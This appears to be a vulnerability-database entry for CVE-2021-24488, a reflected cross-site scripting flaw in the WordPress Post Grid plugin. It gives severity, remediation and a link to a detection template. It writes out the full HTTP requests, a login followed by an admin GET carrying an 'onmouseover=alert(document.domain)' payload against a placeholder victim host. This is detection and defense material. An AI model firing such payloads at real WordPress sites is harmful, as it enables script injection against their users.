🔙 목록으로 돌아가기

CVE-2021-24488: WordPress Post Grid <2.1.8 - Cross-Site Scripting

TitleWordPress Post Grid <2.1.8 - Cross-Site Scripting
Authorcckuailong
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
RemediationUpdate to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.11533
CVE IDCVE-2021-24488
CWE IDCWE-79
Tags cve2021 cve authenticated wpscan xss wp wordpress wp-plugin pickplugins vuln

🔍 Vulnerability Description

WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=dikyY3&pwd=SLyY3j&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24488.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24488.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A